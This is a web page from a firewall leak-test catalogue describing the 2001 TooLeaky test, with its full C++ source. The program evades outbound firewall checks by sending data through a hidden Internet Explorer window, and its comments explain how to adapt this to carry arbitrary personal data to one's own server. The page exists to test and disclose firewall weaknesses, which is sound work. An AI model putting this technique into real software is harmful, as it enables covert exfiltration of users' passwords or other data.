TOOLEAKY
  > CATEGORIES
  LEAK TESTING
  KILL TESTING
  ADVICES
  DOCUMENTS
  REWARDS
  > IN THE WILD
  > LINKS
  > FAQ
  > TOOLS

     SCAN YOUR COMPUTER

     TEST YOUR BROWSER



Leaktest information
Website : http://tooleaky.zensoft.com/
Author : Bob Sundling
Dates : 11/05/2001
Categories : launcher
Download : tooleaky.exe (View EULA)
MD5 5E78F144B41CD80083E60401B80F8D46
SHA-160 0C0A11B1C032915EB50183386FD88C6A05B47EBE
Operating System : Windows 9x/Millenium/NT4/2000/XP


Leaktest description
Tooleaky opens your default web browser with the following command line :

iexplore.exe http://grc.com/lt/leaktest.htm?PersonalInfoGoesHere

The launched window is hidden. If the web browser is allowed to access to port 80, all data will able to be transmitted to remote adress (in our case GRC.com).
Keep in mind that this information could be password or credit card number by a real malicious program...


Meaning
If the test is a success, this means that your firewall doesn't checks application that launch others.

Download Tooleaky Leaktest
(View EULA)

Source Code
/*


TooLeaky: Trivial Firewall Leak Checker (http://tooleaky.zensoft.com/)
Bob Sundling (tooleaky@zensoft.com)
11/05/2001

This program will penetrate every firewall currently on the market that claims to offer "outbound" protection, because it does not send or receive data itself. Instead, it uses a hidden Internet Explorer window to do it.
And, of course, everybody allows Internet Explorer to send and receive data, otherwise using the Internet would be a big pain in the you-know-what.

This program does two things:

(1) Transmits the string "PersonalInfoGoesHere" to Steve Gibson's web site.
(2) Retrieves a string back from Steve Gibson's web site, stored in the
section of a web page.

For a programmer to use this method generically in their application, they would simply need to replace the URL in this program with a URL from their own site, change the outputString from "PersonalInfoGoesHere" to any information they would like to transmit, and then set up their web server to return the information they would like to retreive in the block of their page (the first few characters of the title are used as a unique identifier so this program can find the window, since it doesn't bother to keep track of the hidden IE window when it's first created). And of course a programmer could repeat this process to transmit or receive as much data as they'd like, or use the methods outlined in the code to send or receive LARGE blocks of data in one fell swoop.

So why did I write this? Because I was starting to get sick of the whole firewall debate, especially the ongoing feud between Steve Gibson and Network Ice. Initially Steve said that Network Ice's "Black Ice Defender" product was no good, and demonstrated that statement by showing that his LeakTest program could send and receive data through their "firewall" but not through anyone else's (at least, after they patched their firewalls up a bit). Based on that, he made the claim that other firewalls like "Zone Alarm" are better.
Network Ice responded by saying that outbound filtering is not important, but eventually (actually, very recently) they put in a ridiculous block specifically to prevent Black Ice Defender from allowing Steve's LeakTest program to work. Steve then countered by correcting his LeakTest program by making it retrieve data from a different site (his main server), on a different port (80).

Indeed, once again with this new version, "LeakTest" does get through Black Ice Defender, but not through other "firewalls" like Zone Alarm, McAfee Firewall, Sygate Personal Firewall, Norton Firewall, or Tiny Personal Firewall.

But I believe that real problem here is that Steve is (perhaps quite unintentionally) simply writing to get around Black Ice Defender specifically. "LeakTest" does not think "outside the box," and that's why all those firewalls can "block" Steve's program. If you want to get around a firewall, and you know that the firewalls check which programs are sending data, then you shouldn't do it the way Steve has been! :-)

Now, it is true that Steve has been rather busy, and he has been talking about things like adding "DLL hooking" to LeakTest lately, so I will cut him some slack here. :-)

So, in an attempt to better educate users about how useless ALL of these firewall programs really are, I did Steve's LeakTest one better. Like everyone else, I've seen the LeakTest pages that claim that all these other firewalls are better than Black Ice Defender. But, in fact all of those firewalls share one very large problem: their design is inherently flawed by the operating system they are running on. Basically: If a firewall is going to allow some program (such as Internet Explorer) to transmit and receive data over the Internet, and that program allows other programs to control its actions, then there's no point in blocking anything at all.

Now, of course, this example program is intentionally simple. It could do far more, such as transmit longer strings, retrieve complete files, etc. I kept it short and to the point to demonstrate one thing: It doesn't take much to get around today's so-called "firewalls."

(I was also getting sick of all of Steve Gibson's *GIGANTIC* programs, often 16KB or more, written in massively expansive assembly language. So I wrote this in C++. The executable file is under 4KB.) ;-) (Sorry Steve, I couldn't resist.) :-)

Enjoy!

Bob Sundling
tooleaky@zensoft.com
http://toleaky.zensoft.com/


PS. An important note for those of you compiling this into an executable program: Do it without your compiler's default libraries, otherwise your linker will choke!


*/





// Include one header, and then only bits and pieces of it (that's more than enough)
#define WIN32_LEAN_AND_MEAN
#include

// Forward declarations
BOOL CALLBACK EnumWindowsProc ( HWND hWnd, LPARAM lParam );
bool DisplayWelcomeBanner ( );
bool TransmitAndReceiveData ( );
void DisplaySucessBanner ( );
void DisplayFailureBanner ( );

// Some basic library functions so we can avoid the standard C++ library
bool z_memcmp ( void* _b1, void* _b2, size_t len );
char* z_strcat ( char* dest, const char *src );
char* z_strcpy ( char* dest, const char *src );
size_t z_strlen ( const char *s );

// A few global variables for fun
HWND ieWnd;
const char* title = "TooLeaky: Trivial Firewall Leak Checker (http://tooleaky.zensoft.com/)";
const char* baseURL = "http://grc.com/lt/leaktest.htm?";
const char* outputString = "PersonalInfoGoesHere";
char inputString[512];

// Main program
void WinMainCRTStartup ( )
{
if ( DisplayWelcomeBanner() )
{
if ( TransmitAndReceiveData() )
{
DisplaySucessBanner();
}
else
{
DisplayFailureBanner();
}
}
ExitProcess(0);
}
// Display a welcome message; allow the user to quit
bool DisplayWelcomeBanner ( )
{
return MessageBox(NULL,
"This program demonstrates how your firewall does NOT protect against\n"
"outbound connections, by sending a short string to Steve Gibson's web site\n"
"then retrieving a reply. For this simple example, you should currently be\n"
"connected to the Internet.\n\n"
"(Note that this program happens to rely on Steve's web pages as they were\n"
"on November 4, 2001.)\n\n"
"Please note that this program was NOT written or authorized by Steve Gibson;\n"
"his web site is merely used as an example.\n\n"
"This will probably just take a couple seconds; it will not take more than 30.\n\n"
"Do you wish to continue?",
title,
MB_YESNO | MB_ICONQUESTION) == IDYES;
}

// Perform the actual test
bool TransmitAndReceiveData ( )
{
//
// Step 1: Find the Internet Explorer executable (its location is in the
// registry).
//
char buffer[MAX_PATH + 512];
long len = sizeof(buffer);

RegQueryValueA(
HKEY_LOCAL_MACHINE,
"SOFTWARE\\Classes\\Applications\\iexplore.exe\\shell\\open\\command",
buffer,
&len;);

//
// Step 2: Give it our "secret" URL and spawn IE in a hidden window.
// Of course, the window doesn't have to be hidden, but why not.
//
// Note to those who think this method is limited:
//
// If we wanted to pass more information than fits on the command line,
// we could first create an HTML file on the user's hard drive that
// consists of that data, and have that HTML file reload to the actual
// URL that we wanted to send the data to, passing the data along (this
// can be done with a META REFRESH tag in the file's header, for example,
// or with JavaScript if you want to get fancy). In this instance,
// we are keeping things simple.
//
for (char*c = &buffer;[1]; *c != 0; c++ ) if ( *c == '%' ) *c = 0;

z_strcat(buffer, baseURL);
z_strcat(buffer, outputString);
WinExec(buffer, SW_HIDE);

//
// Step 3: Now wait for the page to load, and retrieve some information
// (which, in this trivial example, is passed back through the web page's
// title). If this takes more than 30 seconds, give up.
//
// Note to those who think this method is limited:
//
// Since we have the handle to the Internet Explorer page's window, we
// can easily find its child windows, and can retrieve their contents
// as well. So we could also retrieve data from the actual page's
// contents rather than just the title. As a trivial example, send a
// "select all" followed by clipboard "copy" command to that window,
// and you've got all the data. (Of course, if you really wanted to be
// slick you wouldn't do it with such primitive means.)
//
int startCount = GetTickCount();

do
{
EnumWindows(EnumWindowsProc, 0);

if ( (GetTickCount() - startCount) > 30000 )
return false;
} while ( ieWnd == NULL );

//
// Step 4: Now we close the window, out of politeness. As an aside,
// not how we are sending it a command here... We can do all kinds
// of interesting things to it if we wanted, such as make it navigate
// to a different URL. Such methods can even be used on pre-existing
// Internet Explorer windows; we don't need to have created them
// ourselves. In that way, we could pass information even if some
// goofy firewall vendor decides to block programs with top-level
// hidden windows from establishing Internet connections, or some
// such silly thing.
//
SendMessage(ieWnd, WM_SYSCOMMAND, SC_CLOSE, 0);

return true;
}

// Display the success banner
void DisplaySucessBanner ( )
{
char temp[1024];
wsprintf(temp,
"Success!\n\n"
"Which, in your case, means failure: Your \"firewall\" is useless!\n\n"
"This program has:\n\n"
"(1) Successfully breached your firewall.\n"
"(2) Successfully sent the string '%s' to grc.com.\n"
"(3) Successfully retrieved the string '%s' from grc.com.\n\n"
"Your firewall's so-called \"outbound protection\" is, unfortunately, nothing\n"
"but a cruel joke.\n\n"
"Bob Sundling\n"
"tooleaky@zensoft.com\n"
"http://tooleaky.zensoft.com/",
outputString,
inputString);

MessageBox(NULL, temp, title, MB_OK | MB_ICONINFORMATION);

}

// Display the failure banner (not very likely)
void DisplayFailureBanner ( )
{
MessageBox(NULL,
"There was apparently no leak, your computer or Internet connection is very slow,\n"
"or, most likely, the GRC.COM website is down temporarily. Please try again later.",
title,
MB_OK | MB_ICONINFORMATION);
}

// Find the appropriate window
BOOL CALLBACK EnumWindowsProc ( HWND hWnd, LPARAM lParam )
{
char tmp[512];
GetWindowText(hWnd, tmp, sizeof(tmp));

//
// Here we check for the first eight characters of the title being "LeakTest"
// In actual use, this would be something more obscure, like "2x9$$@fA" for
// example. (If the user happens to have another window that starts with
// "LeakTest" we may find it instead. For this simple example, we do not
// care. We could instead search by the window's class, or get the window
// handle of the URL field to verify, or whatever, if we really wanted to--or
// just keep track of the process when we first create it!)
//

if ( z_memcmp(tmp, "LeakTest", 8) == 0 )
{
z_strcpy(inputString, &tmp;[12]); // Save the title
inputString[23] = 0; // We just want a few characters in our example
ieWnd = hWnd; // Save the window so we can politely close it
return FALSE;
}

return TRUE;
}


// Some library functions. These aren't exactly identical to the standard C++
// library functions, in case you are wondering.
bool z_memcmp ( void* _b1, void* _b2, size_t len )
{
char *b1 = (char*)_b1;
char *b2 = (char*)_b2;

for ( size_t i = 0; i < len; i++ )
if ( b1[i] != b2[i] )
return true;

return false;
}

char* z_strcat ( char* dest, const char *src )
{
z_strcpy(&dest;[z_strlen(dest)], src);
return dest;
}

char* z_strcpy ( char* dest, const char *src )
{
char *d = dest;

while ( *src )
*dest++ = *src++;

*dest = 0;
return d;
}

size_t z_strlen ( const char *s )
{
for ( int i = 0; s[i]; i++ );
return i;
}



Home      News      Contact      Online form      Mailing list